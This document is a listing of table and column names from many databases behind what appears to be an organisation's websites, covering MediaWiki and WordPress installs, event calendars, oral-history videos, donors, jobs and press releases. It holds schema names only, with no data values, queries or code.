doc_revision	rev_id rev_page rev_comment rev_user rev_user_text rev_timestamp rev_minor_edit rev_deleted rev_text_id
doc_searchindex	si_page si_title si_text
doc_site_stats	ss_row_id ss_total_views ss_total_edits ss_good_articles ss_total_pages ss_users ss_admins
doc_text	old_id old_namespace old_title old_text old_comment old_user old_user_text old_timestamp old_minor_edit old_flags inverse_timestamp
doc_trackbacks	tb_id tb_page tb_title tb_url tb_ex tb_name
doc_transcache	tc_url tc_contents tc_time
doc_user	user_id user_name user_real_name user_password user_newpassword user_email user_options user_touched user_token user_email_authenticated user_email_token user_email_token_expires
doc_user_groups	ug_user ug_group
doc_user_newtalk	user_id user_ip
doc_user_rights	ur_user ur_rights
doc_validate	val_user val_title val_timestamp val_type val_value val_comment val_ip
doc_watchlist	wl_user wl_namespace wl_title wl_notificationtimestamp
scc_archive	ar_namespace ar_title ar_text ar_comment ar_user ar_user_text ar_timestamp ar_minor_edit ar_flags ar_rev_id ar_text_id
scc_blobs	blob_index blob_data
scc_brokenlinks	bl_from bl_to
scc_categorylinks	cl_from cl_to cl_sortkey cl_timestamp
scc_cur	cur_id cur_namespace cur_title cur_text cur_comment cur_user cur_user_text cur_timestamp cur_restrictions cur_counter cur_is_redirect cur_minor_edit cur_is_new cur_random cur_touched inverse_timestamp
scc_hitcounter	hc_id
scc_image	img_name img_size img_description img_user img_user_text img_timestamp img_width img_height img_bits img_metadata img_media_type img_major_mime img_minor_mime
scc_imagelinks	il_from il_to
scc_interwiki	iw_prefix iw_url iw_local iw_trans
scc_ipblocks	ipb_id ipb_address ipb_user ipb_by ipb_reason ipb_timestamp ipb_auto ipb_expiry
scc_links	l_from l_to
scc_linkscc	lcc_pageid lcc_cacheobj
scc_logging	log_type log_action log_timestamp log_user log_namespace log_title log_comment log_params
scc_math	math_inputhash math_outputhash math_html_conservativeness math_html math_mathml
scc_objectcache	keyname value exptime
scc_oldimage	oi_name oi_archive_name oi_size oi_description oi_user oi_user_text oi_timestamp oi_width oi_height oi_bits
scc_page	page_id page_namespace page_title page_restrictions page_counter page_is_redirect page_is_new page_random page_touched page_latest page_len
scc_pagelinks	pl_from pl_namespace pl_title
scc_querycache	qc_type qc_value qc_namespace qc_title
scc_recentchanges	rc_id rc_timestamp rc_cur_time rc_user rc_user_text rc_namespace rc_title rc_comment rc_minor rc_bot rc_new rc_cur_id rc_this_oldid rc_last_oldid rc_type rc_moved_to_ns rc_moved_to_title rc_patrolled rc_ip
scc_revision	rev_id rev_page rev_comment rev_user rev_user_text rev_timestamp rev_minor_edit rev_deleted rev_text_id
scc_searchindex	si_page si_title si_text
scc_site_stats	ss_row_id ss_total_views ss_total_edits ss_good_articles ss_total_pages ss_users ss_admins
scc_text	old_id old_namespace old_title old_text old_comment old_user old_user_text old_timestamp old_minor_edit old_flags inverse_timestamp
scc_trackbacks	tb_id tb_page tb_title tb_url tb_ex tb_name
scc_transcache	tc_url tc_contents tc_time
scc_user	user_id user_name user_real_name user_password user_newpassword user_email user_options user_touched user_token user_email_authenticated user_email_token user_email_token_expires
scc_user_groups	ug_user ug_group
scc_user_newtalk	user_id user_ip
scc_user_rights	ur_user ur_rights
scc_validate	val_user val_title val_timestamp val_type val_value val_comment val_ip
scc_watchlist	wl_user wl_namespace wl_title wl_notificationtimestamp

www-visiblestorage
Table Name	Columns
layout	id name content_type content created_on updated_on created_by_id updated_by_id position
page	id title slug breadcrumb keywords description parent_id layout_id behavior_id status_id created_on published_on updated_on created_by_id updated_by_id position is_protected needs_login
page_part	id name filter_id content content_html page_id
page_tag	page_id tag_id
permission	id name
plugin_settings	plugin_id name value
setting	name value
snippet	id name filter_id content content_html created_on updated_on created_by_id updated_by_id position
tag	id name count
user	id name email username password created_on updated_on created_by_id updated_by_id
user_permission	user_id permission_id

wwwartifactdonation
Table Name	Columns
faqs	id question answer published
items	id model year section image description accept published

wwwatchm
Table Name	Columns
wp_activity	id user_id act_type act_date act_params
wp_commentmeta	meta_id comment_id meta_key meta_value
wp_comments	comment_ID comment_post_ID comment_author comment_author_email comment_author_url comment_author_IP comment_date comment_date_gmt comment_content comment_karma comment_approved comment_agent comment_type comment_parent user_id
wp_feed_clickthroughs	id link_id time
wp_feed_links	id url
wp_feed_postviews	id post_id time
wp_feed_subscribers	subscribers identifier feed date user_agent
wp_links	link_id link_url link_name link_image link_target link_description link_visible link_owner link_rating link_updated link_rel link_notes link_rss
wp_options	option_id option_name option_value autoload
wp_postmeta	meta_id post_id meta_key meta_value
wp_posts	ID post_author post_date post_date_gmt post_content post_title post_excerpt post_status comment_status ping_status post_password post_name to_ping pinged post_modified post_modified_gmt post_content_filtered post_parent guid menu_order post_type post_mime_type comment_count
wp_relevanssi	doc term content title comment tag link author category excerpt taxonomy customfield mysqlcolumn taxonomy_detail customfield_detail mysqlcolumn_detail type item
wp_relevanssi_cache	param hits tstamp
wp_relevanssi_excerpt_cache	query post excerpt
wp_relevanssi_log	id query hits time user_id ip
wp_relevanssi_stopwords	stopword
wp_term_relationships	object_id term_taxonomy_id term_order
wp_term_taxonomy	term_taxonomy_id term_id taxonomy description parent count
wp_terms	term_id name slug term_group
wp_usermeta	umeta_id user_id meta_key meta_value
wp_users	ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
wp_w3tc_cdn_queue	id local_path remote_path command last_error date

wwwatchm_2014-01-06
Table Name	Columns
wp_activity	id user_id act_type act_date act_params
wp_commentmeta	meta_id comment_id meta_key meta_value
wp_comments	comment_ID comment_post_ID comment_author comment_author_email comment_author_url comment_author_IP comment_date comment_date_gmt comment_content comment_karma comment_approved comment_agent comment_type comment_parent user_id
wp_feed_clickthroughs	id link_id time
wp_feed_links	id url
wp_feed_postviews	id post_id time
wp_feed_subscribers	subscribers identifier feed date user_agent
wp_links	link_id link_url link_name link_image link_target link_description link_visible link_owner link_rating link_updated link_rel link_notes link_rss
wp_options	option_id option_name option_value autoload
wp_postmeta	meta_id post_id meta_key meta_value
wp_posts	ID post_author post_date post_date_gmt post_content post_title post_excerpt post_status comment_status ping_status post_password post_name to_ping pinged post_modified post_modified_gmt post_content_filtered post_parent guid menu_order post_type post_mime_type comment_count
wp_relevanssi	doc term content title comment tag link author category excerpt taxonomy customfield mysqlcolumn taxonomy_detail customfield_detail mysqlcolumn_detail type item
wp_relevanssi_cache	param hits tstamp
wp_relevanssi_excerpt_cache	query post excerpt
wp_relevanssi_log	id query hits time user_id ip
wp_relevanssi_stopwords	stopword
wp_term_relationships	object_id term_taxonomy_id term_order
wp_term_taxonomy	term_taxonomy_id term_id taxonomy description parent count
wp_terms	term_id name slug term_group
wp_usermeta	umeta_id user_id meta_key meta_value
wp_users	ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
wp_w3tc_cdn_queue	id local_path remote_path command last_error date

wwwatchm_webdev
Table Name	Columns
wp_activity	id user_id act_type act_date act_params
wp_commentmeta	meta_id comment_id meta_key meta_value
wp_comments	comment_ID comment_post_ID comment_author comment_author_email comment_author_url comment_author_IP comment_date comment_date_gmt comment_content comment_karma comment_approved comment_agent comment_type comment_parent user_id
wp_feed_clickthroughs	id link_id time
wp_feed_links	id url
wp_feed_postviews	id post_id time
wp_feed_subscribers	subscribers identifier feed date user_agent
wp_links	link_id link_url link_name link_image link_target link_description link_visible link_owner link_rating link_updated link_rel link_notes link_rss
wp_options	option_id option_name option_value autoload
wp_postmeta	meta_id post_id meta_key meta_value
wp_posts	ID post_author post_date post_date_gmt post_content post_title post_excerpt post_status comment_status ping_status post_password post_name to_ping pinged post_modified post_modified_gmt post_content_filtered post_parent guid menu_order post_type post_mime_type comment_count
wp_relevanssi	doc term content title comment tag link author category excerpt taxonomy customfield mysqlcolumn taxonomy_detail customfield_detail mysqlcolumn_detail type item
wp_relevanssi_cache	param hits tstamp
wp_relevanssi_excerpt_cache	query post excerpt
wp_relevanssi_log	id query hits time user_id ip
wp_relevanssi_stopwords	stopword
wp_term_relationships	object_id term_taxonomy_id term_order
wp_term_taxonomy	term_taxonomy_id term_id taxonomy description parent count
wp_terms	term_id name slug term_group
wp_usermeta	umeta_id user_id meta_key meta_value
wp_users	ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name

wwwatchm_webprod
Table Name	Columns
wp_activity	id user_id act_type act_date act_params
wp_commentmeta	meta_id comment_id meta_key meta_value
wp_comments	comment_ID comment_post_ID comment_author comment_author_email comment_author_url comment_author_IP comment_date comment_date_gmt comment_content comment_karma comment_approved comment_agent comment_type comment_parent user_id
wp_feed_clickthroughs	id link_id time
wp_feed_links	id url
wp_feed_postviews	id post_id time
wp_feed_subscribers	subscribers identifier feed date user_agent
wp_links	link_id link_url link_name link_image link_target link_description link_visible link_owner link_rating link_updated link_rel link_notes link_rss
wp_options	option_id option_name option_value autoload
wp_postmeta	meta_id post_id meta_key meta_value
wp_posts	ID post_author post_date post_date_gmt post_content post_title post_excerpt post_status comment_status ping_status post_password post_name to_ping pinged post_modified post_modified_gmt post_content_filtered post_parent guid menu_order post_type post_mime_type comment_count
wp_relevanssi	doc term content title comment tag link author category excerpt taxonomy customfield mysqlcolumn taxonomy_detail customfield_detail mysqlcolumn_detail type item
wp_relevanssi_cache	param hits tstamp
wp_relevanssi_excerpt_cache	query post excerpt
wp_relevanssi_log	id query hits time user_id ip
wp_relevanssi_stopwords	stopword
wp_term_relationships	object_id term_taxonomy_id term_order
wp_term_taxonomy	term_taxonomy_id term_id taxonomy description parent count
wp_terms	term_id name slug term_group
wp_usermeta	umeta_id user_id meta_key meta_value
wp_users	ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name
wp_w3tc_cdn_queue	id local_path remote_path command last_error date

wwwcal
Table Name	Columns
activity	act_id act_parent_id act_event_id act_datetime_start act_datetime_end act_info act_main_activity act_location
category	id parent_id cat_name cat_description color bgcolor enabled
event	id parent_id event_title event_alias event_description approved ext_url

wwwcal-dev
Table Name	Columns
activity	act_id act_parent_id act_event_id act_datetime_start act_datetime_end act_info act_main_activity act_location
category	id parent_id cat_name cat_description color bgcolor enabled
event	id parent_id event_title event_alias event_description approved ext_url event_image
field	field_id field_event_id field_type field_label field_url field_image
media	media_id media_event_id media_type media_label media_description media_is_local media_link
speaker	spk_id spk_event_id spk_firstname spk_lastname spk_type spk_info spk_bio spk_image
tag	tag_id tag_event_id tag_label

wwwchmblog
Table Name	Columns

wwwevents
Table Name	Columns
dates	id event_id date reg_url reg_status reg_notes program
events	id category visibility alias header title shorttitle subtitle image material video abstract abstract_summary notes location
people	id title name position image notes bio alias
relations	id event_id date_id resource_id position category notes
resources	id category name image file url notes
schedules	id date_id position starttime endtime program_title program notes

wwwevents_ical
Table Name	Columns
dates	id event_id date reg_url reg_status reg_notes program
events	id category visibility alias header title shorttitle subtitle image material video abstract abstract_summary notes location
people	id title name position image notes bio alias
relations	id event_id date_id resource_id position category notes
resources	id category name image file url notes
schedules	id date_id position starttime endtime program_title program notes

wwwevents_test
Table Name	Columns
dates	id event_id date reg_url reg_status reg_notes program
events	id category visibility alias header title shorttitle subtitle image material video abstract abstract_summary notes location
people	id title name position image notes bio alias
relations	id event_id date_id resource_id position category notes
resources	id category name image file url notes
schedules	id date_id position starttime endtime program_title program notes

wwwfellows
Table Name	Columns
fellows	id category grouping firstname lastname image video_name video_splash video_captions year_of_birth year_of_death award_year achievements quotation bio object_image object_caption object_credit alias visibility
people	id visibility category firstname lastname image video_name video_splash video_captions life_years award_year achievements quotation bio alias
people-04-18-2011	id category firstname lastname image video_name video_splash video_captions life_years award_year achievements quotation bio alias

wwwfoh
Table Name	Columns
demonstrations	id visibility date description type starttime endtime opened notes
specialhours	id visibility date description starttime endtime opened notes

wwwfoh_test
Table Name	Columns
demonstrations	id visibility description starttime duration endtime location opened notes
specialhours	id visibility date description starttime endtime opened notes

wwwgallery
Table Name	Columns
images	id alcove name size width height captions credits orderby

wwwgetinvolved
Table Name	Columns
donors	ID TYPE LEVEL IMAGE NAME URL ORDER_BY PUBLISHED
donors-copy	ID TYPE LEVEL IMAGE NAME URL ORDER_BY PUBLISHED
updated	id type date
updated-copy	id type date

wwwjobs
Table Name	Columns
jobs	jobs_id jobs_title jobs_location jobs_duration jobs_department jobs_summary jobs_responsibilities jobs_qualifications jobs_howtoapply jobs_publish

wwwlogs
Table Name	Columns
error404	id requestTime requestURI remoteAddr requestFrom userAgent

wwwmint
Table Name	Columns
mint__config	id cfg data
mint_visit	id dt referer referer_checksum domain_checksum referer_is_local resource resource_checksum resource_title search_terms img_search_found

wwworalhistory
Table Name	Columns
videos	id title date place interviewer record abstract youtubeID 3plaimediaID visibility
videos-2014-01-31	id title date place interviewer record abstract youtubeID 3plaimediaID visibility

wwwpeople
Table Name	Columns
people	ppl_id ppl_firstname ppl_lastname ppl_middlename ppl_title ppl_info ppl_email ppl_phone ppl_company ppl_type ppl_display_order ppl_publish ppl_image
people-2013-11-26	ppl_id ppl_firstname ppl_lastname ppl_middlename ppl_title ppl_info ppl_email ppl_phone ppl_company ppl_type ppl_display_order ppl_publish ppl_image
peoplecopy	ppl_id ppl_firstname ppl_lastname ppl_middlename ppl_title ppl_info ppl_email ppl_phone ppl_company ppl_type ppl_display_order ppl_publish ppl_image

wwwpress
Table Name	Columns
pressrelease	pressrelease_id press_headline press_subheadline press_alias press_date press_location press_summary press_newsbody press_boilerplate press_contact press_approved

wwwstats
Table Name	Columns
statistics	id facebook_fans twitter_followers catalog_records youtube_subscribers

wwwtdih
Table Name	Columns
tdih	id image caption month day year title description published
tdihcopy	id image caption month day year title description published

wwwtestblog
Table Name	Columns
wp_commentmeta	meta_id comment_id meta_key meta_value
wp_comments	comment_ID comment_post_ID comment_author comment_author_email comment_author_url comment_author_IP comment_date comment_date_gmt comment_content comment_karma comment_approved comment_agent comment_type comment_parent user_id
wp_links	link_id link_url link_name link_image link_target link_description link_visible link_owner link_rating link_updated link_rel link_notes link_rss
wp_options	option_id option_name option_value autoload
wp_postmeta	meta_id post_id meta_key meta_value
wp_posts	ID post_author post_date post_date_gmt post_content post_title post_excerpt post_status comment_status ping_status post_password post_name to_ping pinged post_modified post_modified_gmt post_content_filtered post_parent guid menu_order post_type post_mime_type comment_count
wp_relevanssi	doc term content title comment tag link author category excerpt taxonomy customfield mysqlcolumn taxonomy_detail customfield_detail mysqlcolumn_detail type item
wp_relevanssi_cache	param hits tstamp
wp_relevanssi_excerpt_cache	query post excerpt
wp_relevanssi_log	id query hits time user_id ip
wp_relevanssi_stopwords	stopword
wp_term_relationships	object_id term_taxonomy_id term_order
wp_term_taxonomy	term_taxonomy_id term_id taxonomy description parent count
wp_terms	term_id name slug term_group
wp_usermeta	umeta_id user_id meta_key meta_value
wp_users	ID user_login user_pass user_nicename user_email user_url user_registered user_activation_key user_status display_name

wwwtontest
Table Name	Columns
markdown	id title description

wwwyoutube
Table Name	Columns
yt_playlists	yt_playlist_id yt_playlist_title yt_playlist_num
yt_videos	yt_id yt_playlist_id yt_video_title yt_video_description yt_video_duration yt_video_views yt_video_rating yt_video_image